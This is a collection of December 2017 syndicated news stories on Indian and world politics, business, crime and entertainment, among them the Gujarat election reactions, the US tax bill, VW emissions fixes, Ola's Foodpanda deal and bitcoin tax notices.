
Singh is not named as an accused by the ED in the present money laundering case.

Chauhan is also chargesheeted, along with 82-year old Singh, his wife and others, in a separate case filed by the CBI in the matter.

Singh and all the other accused have denied the allegations made against them by the CBI and ED.

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The Gujarat poll outcome sparked a political war of words today with Congress president Rahul Gandhi calling it a "massive jolt" to the BJP, drawing ridicule from the ruling party that he was "enjoying defeat as victory" under an illusion.

The BJP win by a reduced margin yesterday also led its key ally Shiv Sena to launch a stinging attack on its senior partner, saying it was a "warning bell" to those who believed in an autocratic rule and that "the much-touted Gujarat model has shaken." Gandhi also hit out at Modi's Gujarat model of development, calling it "good propaganda and able marketing", but which is "hollow from within."



The BJP fought off a strong challenge from Congress to win the Gujarat assembly polls for the sixth straight time since 1995.

The BJP won 99 seats in the 182-member assembly, down from 115 it won in 2012, and far lower than the 150-plus seats it had hoped for. It is also for the first time that the BJP's tally slipped below the 100 mark since the party formed its maiden government on its own in 1995.

The Congress, spearheaded by Gandhi, won 77 seats, up by 16 seats.

Gandhi also raised questions about Prime Minister Narendra Modi's credibility after he led his party to a narrow victory in his home state.

He claimed the Gujarat results indicated that the country was not listening to Modi any more and took a dig at his Gujarat model of development.

"I came to know there (in Gujarat) that people actually do not accept Modiji's model.

"It was thought that the Congress will not be able to fight the BJP in Gujarat...You saw the results and it has dealt a 'zabardast jhatka' (a massive jolt) to the BJP in Gujarat," Gandhi told reporters in Delhi.

The new Congress president called the poll outcome a "very good result" and a moral victory for his party. "We lost, but we could have won...but fell short by a small margin.

"A big question has been raised on Modiji's credibility. Frankly, Modiji has a credibility problem and he will find it very difficult... Because what he is saying, his forces and his organisation are repeating that.

"But the country is not listening to that. This, the Gujarat election has shown. In the coming times, you will see this clearly," he said.

Talking of credibility, he said while Modi spoke "non-stop" about corruption, he never uttered a word about Jay Shah (BJP chief Amit Shah's son) or Rafale fighter jet deal, which the Congress claims was against the country's interest and encouraged crony capitalism.

"The country wants to know that you talked non-stop of corruption. Jay Shah, son of Amit Shah, turned Rs 50,000 into 80 crore in three months, there has been a scam in Rafale deal, why don't you talk of this. This is the credibility issue," he said.

Gandhi said Gujarat sent out a message to the BJP and Modi that the "anger" within them would not work.

The Congress chief, who vigorously campaigned in Gujarat, said in three months the state and its people taught him one thing that one can defeat opponents only with love and brotherhood, and not anger, money or force.

Mahatma Gandhi told this to the country and this feeling is embedded deeply in Gujarat.

"Gujarat has given a message to Modi ji and the BJP that the anger within you will not help you and love will defeat it," he said.

To a question about Modi's assertion that the BJP's win was an endorsement of his development agenda and economic reforms like the GST, the Congress president said, "It is strange as in his poll speeches he did not talk about development, nor about GST and note ban."



Responding to Gandhi's attack, senior BJP leader Prakash Javadekar claimed the poll outcome had actually jolted the Congress.

"We (the BJP) won both state Assembly elections and in Gujarat for the sixth time. Actually this is a jolt for the Congress," Javadekar told reporters shortly after Gandhi's attack on Modi and the BJP.

The Union minister also alleged that the Congress tried to adopt divisive in Gujarat. However, people put their faith in Modi and in his development agenda, he said.

Javadekar said he was amused to hear that the Congress president had described the results as a big jolt to the BJP.

"It seems Rahul is under the illusion and enjoying defeat as victory. This shows his dynastic arrogance and is an insult to the people's mandate," he said.

Reacting sharply to Gandhi's remark raising questions on Modi's credibility, Javadekar said it was the Congress which was losing its credibility among the people in the country, because of which, he added, the party was losing election after election.

The Sena attack on the BJP came in an editorial in its mouthpiece 'Saamana',



The Sena said the BJP had "barely managed to pass" the electoral exam but was pretending to have passed with distinction.

The BJP won Gujarat and Himachal, but the Congress also did not lose, the editorial said.

This election result in Gujarat is a "warning bell for those who believe in an autocratic rule," the Sena said.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Niti Aayog today said it will soon approach the Delhi Government to use municipal solid waste at landfill sites to produce methanol, a clean and commercially viable alternative fuel.

The government think tank also proposed using mobile methanol generation plants for producing the gas from stubble.

The issues related to landfill sites in Delhi and stubble burning also figured in the Rajya Sabha today.

Stubble burning by farmers in Punjab and Haryana recently became a serious issue as it added to air pollution in northern part of the country, including the national capital region (NCR).

"We have got landfills in all cities. Using technology of gasification, we can make methanol. We will soon approach Delhi government (in this regard)," Niti Aayog member V K Saraswat told reporters here.

Referring to incidents of stubble burning in Punjab and Haryana, he said mobile methanol generation plant systems can be used to covert crop residue into methanol.

"We want to do this as major exercise," he said.

Saraswat, former Defence Research and Development Organisation (DRDO) chief, said that the methanol economy promises to help India mitigate its petroleum import costs and at the same time counter problems associated with global warming.

Niti Aayog is government's premier think-tank, with the Prime Minister as its chairman.

Raising the issue of municipal solid waste in the Rajya Sabha, veteran Congress T Subbarami Reddy demanded that Delhi Development Authority (DDA) should immediately allot land for alternative landfill sites for dumping the municipal waste generated in the National Capital.

He said the national capital will need an additional area of 28 sq km till 2020 to dump 15,000 tonne of garbage daily.

Congress leader Pratap Singh Bajwa had raised the issue of burning of crop residue and sought a permanent solution to the issue.

He sought immediate sanction of funds by the Centre to solve the problem.

He said NITI Aayog has projected that a permanent solution would cost around Rs 11,000 crore.

Farmers, he said, needed support and should be given Rs 200 per quintal extra to get rid of crop residue in eco- friendly way. Farmers should be given financial support to stop stubble burning.

Methanol is a clear and colourless liquid produced from natural gas, coal and wide range of renewable feedstocks. Also known as wood alcohol, methanol is naturally occurring and biodegradable.

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Pakistan Army chief General Qamar Bajwa said today that he will resign if the military was found involved in the recent widespread protests by hardline religious groups which paralysed the capital Islamabad for weeks.

About 2,000 activists of Tehreek-i-Labaik Ya Rasool Allah (TLY) and its allied groups staged protests and sit-ins on highway and railway lines in several cities of Pakistan for nearly three weeks, disrupting road and rail traffic.

The protests paralysed the capital Islamabad for about three weeks by occupying the Faizabad interchange, linking Islamabad with the garrison city of Rawalpindi.

They demanded the sacking of Law Minister Zahid Hamid for changes in a law related to the Khatm-i- Nabuwwat (finality of prohpethood) oath in the Elections Act 2017.

The protest ended after the Army organised talks between the government and protesters which led to the resignation of law minister Hamid.

There were insinuations about the role of Army in the episode after a video clip surfaced showing a senior Army officer giving money to protesters.

Bajwa, however, rejected any support provided by the military to the protesters.

He said that he will resign if the military was found involved in Faizabad sit-in, The Express Tribune reported.

"The [Faizabad] sit-in reminded me of the Lal Masjid incident and I asked the DG ISI to hold dialogue with the protesters," the report quoted him as saying.

"(Following the talks), it was revealed that the protesters [initially] had four demands, which came down to only one," it said.

Bajwa was responding to Pakistan Muslim League-Nawaz Senator Mushahidullah Khan's question relating to the protest.

Earlier, official sources had said an understanding was reached with protesters with the help of the powerful Army to call off the protest.

Following the agreement and the subsequent resignation of Hamid, TLY chief Khadim Hussain Rizvi ordered his followers all over the country to end the sit-ins and go home.

The agreement lauded efforts of Bajwa for playing key role in peacefully ending the stand-off, which became possible after an important meeting between him and Abassi.

The civilian government in Pakistan was criticised for backing down in the crisis, which raises new questions about the military's role in in this country.

Justice Shaukat Aziz Siddiqui of Islamabad High Court had lashed out at the government and the powerful military for the role assigned to the Army as the "mediator" in striking the deal with the protesters to end their sit-in.

"The court had asked the government to clear the roads and not for an agreement with protesters. What you have done is surrender," the judge told Interior Minister Ahsan Iqbal.

"Who is the Army to play the role of mediator?...Where does the law assign this role to a Major General?" he asked.

Citing military sources, Dawn had reported that the Army chief had opposed use of force against its own people since the population's trust in the institution of the army "can't be compromised for little gains".

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He has almost completed reading the "Bhagvat Gita" and plans to go to Rishikesh next time. For Hollywood superstar Will Smith, reading the holy book while in India is like channelling his "inner Arjuna".

The actor, who was on his fourth trip to India, said he loves the country and its history.

"I have been here a few times. I love the history. I am 90 per cent through with the 'Bhagvat Gita'... and to be reading it and to be here, my inner Arjuna is being channelled. I am going to go to Rishikesh next time. I am definitely going to be spending a lot more time here," he told journalists yesterday.

The actor, who was on a one-day visit, brought along the cast Joel Edgerton, Noomi Rapace and director David Ayer - of his latest Netflix movie "Bright" for the premiere in Mumbai.

As he took the stage at a fan event here, he won over the crowd, who had waited for hours to see him, with his exuberance.

"I am Will Smith. We are very excited to be here," the actor told fans just before the premiere last night.

In a media round table earlier in the day, Smith fondly recalled the great food he had at Bollywood star Akshay Kumar's place during his last trip.

"The last time I was here, we had a party at Akshay's place. I loved the food. It was the best food I ever had in my life," he said, adding that he did not feel it would be right to call the Bollywood actor and get some food over as he was only staying for a day.

His co-star Edgerton said he attended a Bollywood award function and visited the sets of "Ferrari Ki Sawaari" the last time he was in India.

"I came here in 2012. I visited the set of 'Ferrari Ki Sawaari' and I went to a Bollywood award function and presented the best film with Vidhu Vinod Chopra. He got up in front of everybody and said, 'This is my friend Joel, you have no idea who he is, Google him.' I went red in the face but it was amazing," the Australian actor said.

Both Edgerton and Ayer had stories about Smith's "always happy" attitude and how it sometimes got to them.

Asked who the prankster on the sets was, everyone pointed to Smith.

"I like to have fun but Joel had to go through three and half hours of make-up every day. So he was not in a joking mood. He was not very jokey," Smith said.

"Bright" is set in an alternate version of present day Los Angeles in which Orcs, Elves and humans live side-by- side.

The story revolves around a human LAPD officer and his Orc companion as they patrol the streets. They battle their prejudice and mistrust to protect a relic, which in the wrong hands, could destroy the world.

Edgerton, who plays the role of an Orc police officer opposite Smith, said his highlight was sitting in a car and waving at people at traffic lights in his full Orc make-up to scare them.

"Will likes to have too much fun and he is a little bit too positive. I remember, one day he comes to me and he is in this positive mood and he is like, 'What's up' and I am like, 'Will, leave me alone'."



Ayer said he was racing against time to complete the film as they were behind schedule and Smith would try to cheer him up.

"For some reason, I like to shoot in the dark and in the rain. It looks good. Will Smith will come singing Christmas carols and songs and I am very angry because we are behind schedule. No matter how hard he tried, he could not make me happy but I think I succeeded in making him a little sad," the director joked.

Smith said he enjoyed working on the sci-fi crime drama, out on Netflix on December 22, because it gave him a chance to look at racism from the other side.

"It is about racism and how we treat each other. In this film, Elves are the top of the society and they represent those who have and Orcs represent those who do not have and humans are in the middle.

"My character, as an African-American, is racist against the Orcs. It was an interesting exploration about how we treat each other. What I love about science-fiction is that you get to go into this bizarre fantasy world but you are actually talking about real things," he said.

Rapace, who plays the role of a Elf, Leilah, said the film had multiple layers and offered an interesting perspective.

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A 19-year-old woman, who went missing this month, from Jammu and Kashmir's Doda district was found in Punjab, police said today.

The girl, a student, was reported missing from Doda district on December 7 and was found at the Patiala guest house in Punjab on Sunday night, they said.

On December 7, her parents lodged a complaint in the district's police station claiming that their daughter went missing after she went to her school, and that they suspect kidnapping.

According to the police, during investigation it was found out that the girl had been taken to New Delhi.

"A police party was rushed to Delhi and several locations were raided in the union capital, besides Pune and Hyderabad," the police official said.

However, with the help of technical surveillance the girl's location was finally traced to Punjab.

"The police party raided the Guest House of Patiala, Punjab and traced out the girl," he said, adding that the girl was handed over to her parents after legal formalities yesterday.

No arrest was made in this connection, and investigation to nab the culprit is on, he informed.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Two women were allegedly harassed by two men riding a motorcycle outside a five-star hotel in Lutyens' Delhi, following which one of the accused was arrested, police said today.

The incident was reported in the evening of December 16, when the country was marking the fifth anniversary of the "Nirbhaya" gang-rape case.

The two women from West Bengal and Uttar Pradesh had come out of the hotel when the two started harassing them and made lewd remarks.

A policeman who was at the spot caught hold of one of the accused, while the other managed to flee.

Police said that they have identified the second accused and efforts were being made to nab him.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
Two women were allegedly harassed by two men riding a motorcycle outside a five-star hotel in Lutyens' Delhi, following which one of the accused was arrested, police said today.

The incident was reported in the evening of December 14.

The two women from West Bengal and Uttar Pradesh had come out of the hotel when the two started harassing them and made lewd remarks. The women are in their late 20s.

"Two men on a motorcycle came near the main gate of the five-star hotel on Ashoka Road and tried to misbehave with them. In the meantime, a police patrol vehicle came and overpowered one of them while the other managed to escape," said B K Singh, Deputy Commissioner of Police (New Delhi).

The arrested accused, 28, is a resident of Sadar Bazar, he added.

The DCP said that they have identified the second accused and efforts were being made to nab him.

(This story has not been edited by Business Standard staff and is auto-generated from a syndicated feed.)
MELBOURNE (Reuters) - Global miner BHP Billiton said on Tuesday it had taken a preliminary decision to leave the World Coal Association (WCA) over differences on climate change and might also withdraw from the U.S. Chamber of Commerce.

BHP has largely quit mining coal for power plants but is the world's largest exporter of coal for steel-making. It will seek responses from the WCA over policy differences before making a final decision on whether to pull out in March 2018, it said.

The miner came under pressure from Australian green groups earlier this year to leave any industry associations with policies that fail to match the company's support of the 2015 Paris climate accord.

Following a review, BHP said on Tuesday it had "reached a preliminary view to exit" the WCA, as the global coal lobbying group had called for Australia to abandon a clean energy target to boost prospects for high-tech coal-fired power plants.

BHP said the association's policy conflicted with its view that energy markets should be fuel- and technology-neutral and take into account costs and benefits.

WCA Chairman Mick Buffier said the association was disappointed and did not feel the report accurately reflected the organisation's views.

"The WCA has always supported a balanced approach that integrates climate and energy policy," he said in an emailed statement. "We hope to be able to continue working with BHP on this basis in the future."

The WCA website carries a lead article entitled "A pathway to zero emissions from coal," which says clean coal technology will be needed as many countries, especially in Asia, rely on coal to drive economic growth.

BHP also plans to decide by March whether to withdraw from the U.S. Chamber of Commerce over differences on how to deal with climate change. BHP has been a member of the group, the largest U.S. business lobby, since 2011.

The chamber said it looks forward to discussing issues with BHP and that it represents a diverse membership. On curbing climate change, the group favours innovation over federal rules on emissions.

BHP also highlighted the chamber's opposition to a U.S. rule introduced in 2016 requiring resource companies to disclose all their payments to governments, as an area of difference with the company. BHP supported the rule.

The company also said it would press the Minerals Council of Australia to review its promotion of coal in Australia's energy policy and would reconsider its membership in a year's time unless changes were made.

(Reporting by Sonali Paul in Melbourne, additional reporting by Barbara Lewis in London and Timothy Gardner in Washington; Editing by Kenneth Maxwell, editing by Louise Heavens and Tom Brown)

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By Henning Gloystein

SINGAPORE (Reuters) - Oil markets edged up on Tuesday as the Forties pipeline outage in the North Sea and voluntary production restraint led by OPEC supported crude, although soaring output in the United States put a cap on gains.

U.S. West Texas Intermediate (WTI) crude futures were at $57.30 a barrel at 0319 GMT, up 14 cents from their last settlement.

Brent crude futures, the international benchmark for oil prices, were at $63.49 a barrel, up 8 cents.

There has been very little price movement in recent trading, with Brent moving within a $63.00 to $63.91 per barrel price range since last Friday.

Some upward pressure was taken off Brent after a nationwide oil worker strike was called off in Nigeria, traders said.

Despite this, crude has been generally supported by the ongoing Forties pipeline system outage in the North Sea, which provides crude underpinning Brent futures.

"The Forties pipeline closure will continue to put a floor under Brent crude," said Jeffrey Halley, senior market analyst at futures brokerage Oanda in Singapore.

Further price support has been coming from voluntary supply cuts by the Organization of the Petroleum Exporting Countries (OPEC) and a group of non-OPEC producers including Russia.

As a result of the production restraint and disruptions, oil inventories are falling globally.

"OECD industry inventories declined by 40 million barrels in October to 2.92 billion barrels while global inventories decreased by 61 million barrels to 5,48 billion barrels. This clearly indicates that the market in 4Q17 is in material (1 million barrels per day) supply deficit," said researchers at Bernstein Energy.

"Global inventories now stand at less than 56 days (of demand), which is in line with the long-term average ... With OPEC's decision to extend cuts, we expect that OECD inventories will reach the 5-year trailing average (2.83 billion barrels) by 3Q18 and long-term average (2.7 billion barrels) by year-end 2018," Bernstein added.

Threatening to undermine the OPEC-led efforts to tighten markets is U.S. crude production, which has soared by 16 percent since mid-2016 to 9.8 million bpd.

This means U.S. output is fast approaching that of top producers Russia and Saudi Arabia, which are currently pumping around 11 and 10 million bpd respectively.

U.S. shale production alone, which excludes large offshore facilities in the Gulf of Mexico, is expected to rise by 94,000 bpd in January, marking a 13th consecutive month of increases, the U.S. Energy Information Administration said late on Monday.

Overall, the EIA said it expected U.S. production to hit a record 10.02 million bpd in 2018, on par with Saudi Arabia and not far off top producer Russia, which pumps around 11 million bpd.

(Reporting by Henning Gloystein; Editing by Joseph Radford and Kenneth Maxwell)

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SINGAPORE (Reuters) - Singapore's central bank on Tuesday issued a warning against investment in cryptocurrencies, saying it considers the recent surge in their prices to be driven by speculation and that the risk of a sharp fall in prices is high.

"MAS is concerned that members of the public may be attracted to invest in cryptocurrencies, such as Bitcoin, due to the recent escalation in their prices," the Monetary Authority of Singapore (MAS) said in a statement.

(Reporting by Masayuki Kitano; Editing by Richard Borsuk)

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By David Morgan and Amanda Becker

WASHINGTON (Reuters) - The Republican-controlled U.S. Congress will begin voting on Tuesday on the biggest overhaul of the U.S. tax system in more than 30 years, with little standing in the way of the party's first major legislative triumph under President Donald Trump.

The House of Representatives, which introduced initial tax legislation barely six weeks ago on Nov. 2, was scheduled to vote on Tuesday afternoon. Senate Majority Leader Mitch McConnell said his chamber would vote on Tuesday evening.

With strict party-line votes expected in both chambers, passage appeared all but certain.

"Congress is standing at the doorstep of an historic opportunity," McConnell said on the Senate floor.

Republicans insist the sweeping package of tax cuts for corporations, small businesses and individuals will boost economic and job growth. They also see the measure as key to retaining their majorities in the House and Senate in elections next November.

"This is about expanding opportunities for people who are striving to make the most of their lives," House Speaker Paul Ryan said at a conference.

Democrats say the legislation will deepen the income gap between rich and poor Americans.

The end-of-year sprint represents a remarkable recovery of Republican fortunes since the middle of this year, when the party's drive to dismantle former Democratic President Barack Obama's Obamacare healthcare law crumbled in the Senate and prospects for a tax overhaul seemed doomed by party infighting.

Lingering doubts about fate of the tax bill all but vanished on Monday after two of the last Senate Republican holdouts, Susan Collins and Mike Lee, agreed to support the legislation.

'NEW GILDED AGE'

Democrats, who unanimously oppose the Republican bill, railed against it as a giveaway to corporations and the wealthy that would add $1.5 trillion to the federal debt over the next decade.

"There are so many rip-offs in this bill that people are going to say this is some kind of new Gilded Age," said Senator Ron Wyden, top Democrat on the Senate Tax Committee.

Some 52 percent of adults oppose the tax plan, while 27 percent support it, according to Reuters/Ipsos polling.

The plan includes a steep tax cut for businesses and temporary tax cuts for individuals. Middle-income households would see an average tax cut of $900 next year, while the wealthiest 1 percent would see an average cut of $51,000, according to the nonpartisan Tax Policy Center.

Roughly half of all Americans would pay higher taxes than they do now after the tax cuts expire in 2025 but the top 1 percent would still pay less, the Tax Policy Center said.

The House, where Republicans hold a 239-193 voting majority, was likely to see a smattering of "no" votes from Republican fiscal hawks and lawmakers from the high-tax states of New York, New Jersey and California who oppose a provision that would scale back a popular deduction for state and local taxes.

Vice President Mike Pence took the precaution of rescheduling a trip to Egypt and Israel for January so he would be on hand this week in case his tie-breaking voting power is needed to ensure Senate passage of the bill.

Republicans, who control the 100-seat Senate by only a 52-48 margin, can afford to lose support from no more than two party lawmakers. Republican Senator Jeff Flake was still undecided on Tuesday. Senator John McCain, who has brain cancer, was spending time with family in Arizona.

The legislation also would repeal a federal fine imposed on Americans under Obamacare for not obtaining health insurance coverage, a change that could undermine the 2010 healthcare law formally known as the Affordable Care Act.

(Additional reporting by Susan Cornwell and Richard Cowan; Writing by Andy Sullivan; Editing by Peter Cooney and Bill Trott)

(Only the headline and picture of this report may have been reworked by the Business Standard staff; the rest of the content is auto-generated from a syndicated feed.)
By David Shepardson

WASHINGTON (Reuters) - The U.S. Environmental Protection Agency and the California Air Resources Board said Tuesday they had approved an emissions fix for 24,000 Audi 3.0-liter passenger cars as Volkswagen AG looks to move beyond its diesel emissions crisis.

The new approval covers 2014-2016 Audi A6 Quattro, A7 Quattro, A8, A8L and Q5 diesel vehicles. The approved fix entails removing defeat device software that reduced emission control effectiveness and replacing certain hardware components. Previously, regulators approved a fix for 38,000 other 3.0-liter diesels.

VW said it was pleased and noted it has won approval for fixes for more than 75 percent of 3.0-liter diesels, and hopes to win approval for remaining diesels soon, nearly 20,000 vehicles.

The approvals will result in significant savings for the automaker.

Under a settlement approved by U.S. District Judge Charles Breyer in May, VW would have been forced to offer to buy back the vehicles if it had not won government approval for a fix.

In the settlement, VW agreed to spend at least $1.22 billion to fix or buy back nearly 80,000 vehicles with 3.0-liter engines. It also agreed to pay owners of vehicles who obtain fixes between $8,500 and $17,000.

Volkswagen, the best-selling automaker worldwide in 2016, could have been forced to pay up to $4.04 billion if regulators failed to approve fixes for all 3.0-liter vehicles.

Separately, a state court judge in Alabama dismissed a lawsuit Tuesday filed by the state against Volkswagen. Last month VW settled a separate state lawsuit filed by New Jersey for $69 million.

In 2016, Breyer approved a separate settlement for Volkswagen worth up to $14.7 billion, requiring it to buy back 475,000 polluting vehicles with 2.0-liter engines.

In total, VW has now agreed to spend up to $25 billion in the United States to address claims from owners, environmental regulators, U.S. states and dealers and to make buyback offers.

In April, Volkswagen, which admitted to circumventing the emissions control system in U.S. diesel vehicles, was sentenced to three years' probation after pleading guilty to three felony counts.

VW said in September it was taking another $3 billion charge to fix U.S. diesel engines, lifting the total bill for its emissions scandal to around $30 billion.

The company is working to put the two-year-old "Dieselgate" scandal behind it, and seeking to transform itself into a mass-market electric car company.

(Reporting by David Shepardson; Editing by Chizu Nomiyama and David Gregorio)

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Within days of getting a rap on its knuckles, Airtel today offered to return Rs 190 crore subsidy that had flown into the 'unsolicited' Payments Bank accounts of its 31 lakh mobile phone subscribers, sources said.

Airtel wrote to National Payments Corporation of India (NPCI) on Monday promising to return Rs 190 crore (along with interest) to the consumers' original bank accounts that were linked to the Direct Benefit Transfer (DBT), the sources familiar with the development told PTI. NPCI is an umbrella organisation for all retail payments in India.

Both Airtel and Airtel Payments bank came under fire after Airtel allegedly opened accounts of its mobile phone subscribers without seeking their "informed consent", and LPG subsidy worth crores was being deposited to these accounts.

The government acted swiftly in the matter and the Unique Identification Authority of India, late last week, temporarily barred the company from conducting Aadhaar-based SIM verification of mobile customers using eKYC process and e-KYC of payments bank clients.

Suspending the 'e-KYC licence key', the Aadhaar issuing body UIDAI also ordered PricewaterhouseCoopers to conduct an audit of Bharti Airtel and Airtel Payments Bank to ascertain if their systems and processes are in compliance with the Aadhaar Act.

"The government has taken a stern view of the entire issue and Airtel has been forced to return the amount to original bank account of these customers," said a government source who did not wish to be named. The mechanism of the DBT benefits floating into the accounts is also being tightened, to bring in greater accountability, he noted.

Mounting pressure on Airtel, the state-run oil companies had begun writing to the billionaire Sunil Mittal-led firm asking it to transfer back the LPG subsidy that got credited to its payment bank accounts.

The subsidy that government pays to households for buying cooking gas LPG has got credited to these payments bank accounts, leading to inconvenience to users many of whom did not know that their entitlement was not coming to their regular bank account but going an account which they had not applied for.

Taking a lead, Hindustan Petroleum Corp Ltd (HPCL) wrote to Airtel asking it to revert the subsidy to the customers' earlier bank account or transfer them same to the oil companies.

In a statement earlier in the day, HPCL said oil marketing companies and the oil ministry has been getting a large number of complaints from LPG consumers on not receiving LPG subsidy amounts into their earlier bank accounts for the past few weeks.

"In many cases across the three oil marketing companies (Indian Oil Corp, Bharat Petroleum Corp Ltd and HPCL) where the Aadhaar linking of LPG consumers has got changed in the NPCI mapper to Airtel Payments Bank and hence the LPG subsidy is getting sent to the new bank account in the Airtel Payments Bank," it had said.

In order to check diversions, the government pays subsidy equivalent to buying 12 LPG cylinders of 14.2-kg each in a year, directly into the bank accounts of beneficiaries.

Unlike in the past, LPG now is only available at market price. Beneficiaries get subsidy for one cylinder in advance and are replenished the moment they use it up to buying LPG refill.

A detailed email sent to Bharti Airtel on Sunday (December 17) on the the impact of UIDAI's latest move on the SIM verification process, and the alternate mechanism being worked out by the company, remained unanswered.
Ola's rivalry with Uber has just entered a whole new dimension. Seven months after Uber launched its on-demand food delivery app UberEATs in India, Ola on Tuesday announced that it will acquire Foodpanda's India business. In the bargain, the food delivery business in the country is likely to get a big boost, much to the delight of couch potato foodies.

Under the deal, Ola bought Foodpanda's India business from Berlin-based Delivery Hero Holding GmbH, one of Europe's biggest startups and a leading global online food ordering and delivery marketplace, in exchange for its stock.

The online cab aggregator did not divulge details about the number of shares sold, but a Times of India report says that the deal is likely to have valued the food delivery venture at under $50 million. Ola has also committed investments of $200 million in the Foodpanda India business, which is the largest such funds infusion in an Indian online food ordering and delivery company to date.

Speaking on the deal, Ola co-founder and CEO Bhavish Aggarwal said: "I'm excited about our partnership with Delivery Hero as we team up to take Foodpanda India to the next level." He further said that, "As one of India's pioneers in the food delivery space, Foodpanda has come to be a very efficient and profit focused business over the last couple of years. Our commitment to invest $200 million in Foodpanda India will help the business be focused on growth by creating value for customers and partners."

With this new development, Ola Founding Partner Pranay Jivrajka has taken over as interim CEO of this business unit, supported by the existing leadership team at Foodpanda India, while ex-CEO and co-founder Saurabh Kochhar has decided to move on to pursue other opportunities.

Foodpanda may have steadily lost ground to rivals Zomato and Swiggy, but it has been doing well of late. In December 2016, Delivery Hero had acquired the entire global operations of Foodpanda from German e-commerce investor Rocket Internet and the fresh infusion of funds gave it a leg-up.

With over 15,000 restaurants across 100 Indian cities on its platform, its revenue for 2016-17 climbed to Rs 62.16 crore from Rs 37.81 crore in the previous fiscal. More significantly, the company's losses have declined 69% to Rs 44.81 crore compared to Zomato's reported loss of Rs 389 crore and Swiggy's widening loss of Rs 205 crore.

Last month Foodpanda had said that it aims to be profitable by 2019, which is great news for its new parent company. Ola said Foodpanda India will benefit from its scale and efficiencies as a platform and it will continue to collaborate with Delivery Hero on building the online food delivery ecosystem in the country.

On a more sober note, Ola has much to learn from its disastrous previous foray into the food delivery business-Ola Cafe shut down in 2016 after less than a year of being launched as a pilot project in a few tier-one cities. But given that this time it is pegging its fortunes to a business with scale, Ola just might emerge second time lucky.

With PTI inputs


Bitcoin's blistering bull run, and all the worries that come with it becoming the biggest asset bubble ever, has finally galvanised the Income Tax Department into taking action. After surveying nine major cryptocurrency exchanges in the country last week to investigate instances of tax evasion, the taxman is now all set to issue notices to lakhs of high networth individuals (HNI) involved in Bitcoin trading in India.

According to official sources, the survey had revealed that out of the estimated 20 lakh entities registered on these exchanges, about 4 to 5 lakh were "operational" and indulging in transactions and investments. "Those individuals and entities are now being probed under tax evasion charges.

Notices are being issued seeking their financial details and, if tax demand can be established, they will have to pay capital gains tax on the bitcoin investments and trade," said a senior official privy to the operation. So the Bengaluru investigation wing of the tax department, which supervised last week's operations, has now dispatched their information to eight other such wings across India for a detailed probe.

The crackdown on the cryptocurrency exchanges, under section 133 A of the Income Tax Act, was triggered not only by the huge spike in the value of virtual currencies of late but also by suspicions of black money being converted into white using Bitcoins post demonetisation. According to Inc42 Media, the initiative also appears to be closely linked with Panama and Paradise expose, as their ongoing investigation team suspected that some of the black money involved has been deflected into Bitcoins as a safe passage.

To remind you, the Panama Papers and the subsequent set of leaks called the Paradise Papers had revealed how the world's HNIs, including politicians and celebrities, had allegedly stashed away money abroad in offshore companies in tax havens. In September this year, sources in the Enforcement Directorate had confirmed that Bollywood superstars Amitabh Bachchan, Aishwarya Rai Bachchan and Ajay Devgn would be among the names against whom summons would be issued under Section 37 of Foreign Exchange Management Act (FEMA).

If you are wondering why the taxman is taking the lead in investigating Bitcoins and not the government or the RBI, the simple answer is that cryptocurrencies have not been declared illegal in the country yet. Since they are not under the purview of Indian constitution, the RBI can't do anything more than caution users and traders of virtual currencies about the potential financial, operational, legal and security related risks that they are exposing themselves to.

Moreover, the trading of cryptocurrencies falls under the SEBI norms and, as most of the Bitcoin exchanges do follow KYC and AML regulations, none of it is illegal. However, as with all trading, one has to pay taxes on Bitcoin gains so the IT department has taken action as per the existing provisions.

In any case, the cryptocurrency gravy train may be headed for a dead end in India. In March 2017, an Inter-Disciplinary Committee had been set up by the Union finance ministry to explore the legality of the trading of Bitcoin and other cryptocurrencies. The committee's report, still under examination of the Department of Economic Affairs, has reportedly asked for a complete ban on cryptocurrency in the country.

(With PTI inputs)
The Income Tax (I-T) Department is set to issue notices for suspected tax evasion to over 4 lakh high networth individuals (HNI) across the country who have been trading and investing in bitcoins. Officials of the I-T department had last week carried out surveys at nine exchanges dealing in virtual currencies to look into instances of tax evasion.

Senior IT officials confirmed that of the estimated 20 lakh entities registered on these exchanges, over 4 lakh were operational and were carrying out transactions and investments in virtual currencies. The survey operations were undertaken for gathering evidence for establishing the identity of investors and traders, trace the transactions undertaken by them and identify counter-parties and bank accounts used by them.

The investigation wing of the IT department in Bengaluru, which supervised the operations, has now dispatched the information of individuals and entities found these databases to eight other such wings across the country for detailed investigations. Those individuals and entities whose records were recovered by the department are now being probed under tax evasion charges. Notices are being issued and they will have to pay capital gains tax on the bitcoin investments and trade, a senior official said.

The notices to HNIs and their business entities will first seek their relevant financial details and subsequently establish if there is a case for raising a tax demand. As bitcoins or virtual currencies (VCs) are illegal and unregulated in the country as of now, the IT department has taken action as per the existing provisions of the Income Tax Act, officials said. A survey action under the IT law pertains to the tax officials making a surprise visit to the business premises of the party under action but not their residential ones.

The action has been initiated in view of the sudden surge in the value of bitcoins which is expected to have led to huge capital gains for individuals and business entities registered for the purpose. Suspected black money being converted into white, post-demonetisation, through the use of bitcoins was also under the department's scanner, officials said. Earlier this month the value of a bitcoins had leaped to a phenomenal USD 20,000 from USD 10,000 at the start of the year.

Bitcoin, which is a virtual currency, is not regulated in the country and its circulation has been a cause for concern among central bankers the world over for quite a while now. The Reserve Bank of India (RBI) has also cautioned users, holders and traders of virtual currencies. The government has also said that it does not recognise 'crypto-currency' as legal tender in India.

Minister of State for Finance Pon Radhakrishnan on Monday informed the Lok Sabha that the government does not maintain any data related to virtual currencies such as Bitcoin . In a written reply, Radhakrishnan also said a committee constituted by the Department of Economic Affairs to take stock of the present status of virtual currencies in India and globally has submitted its report.

The committee had been asked to examine existing global regulatory and legal structures governing virtual currencies and suggest the framework for regulation of these currencies, the minister said.

The minister was replying to a question whether crypto- currencies such as Bitcoins are used increasingly during the past few years and if the government has received any complaint regarding misuse of virtual currencies. The minister further said the Reserve Bank has also cautioned from time to time to users, holders and traders of virtual currencies about the potential financial, operational, legal and security related risks.
The Financial Resolution and Deposit Insurance Bill may not be introduced in Parliament even during the Budget Session, as the joint committee looking into it today got an extension for submitting its report.

Lok Sabha Speaker Sumitra Mahajan informed the House that extension of time has been granted for the joint panel on the FRDI Bill "up to the last day of Budget Session, 2018".

It also comes at a time when concerns have been raised in some quarters about certain provisions of the bill, which was introduced in the Lok Sabha in August this year.

